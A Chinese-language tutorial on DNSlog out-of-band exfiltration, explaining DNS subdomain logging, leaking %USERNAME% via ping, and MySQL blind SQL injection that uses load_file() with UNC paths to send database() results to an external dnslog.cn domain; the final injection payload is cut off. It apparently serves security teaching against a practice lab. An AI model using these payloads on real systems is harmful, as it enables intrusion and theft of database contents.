什么是DNSlog
DNS(Domain Name System)域名服务系统,简单的说就是域名与IP转换服务,比如用户输入a.com,DNS就会将a.com解析找到它真实的ip,以便于访问服务器上的相关服务,DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似于日志文件。
DNSlog回显原理
首先我们先了解一下多级域名的概念
因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。例如872323857.github.io
,io就是顶级域名,github就是二级域名,872323857就是三级域名。且域名不分大小写。
通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。
自己操作一下才能更好的理解,首先在http://www.dnslog.cn/上获得一个域名,然后我们ping一下
我们将1换成别的试试
可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和域名拼接起来。
DNSlog利用
sql注入
就以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。那
和只能在windows上用有什么关系呢,这里就涉及到Windows的一个小Tips——UNC路径
UNC路径
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
\abc.xxx\test
这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%'
;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。
在mysql中执行命令select load_file('\\\\a.a92pjl.dnslog.cn\\a');
可以看到
和之前的结合起来构造语句,用sqli靶场来测试
1 | ' and if((select load_file(concat('\\\\',(select database()),'. |
小结
DNSlog注入不止可以用于sql注入,还可以用于xss,xxe,ssrf等,思路打开。
可以参考: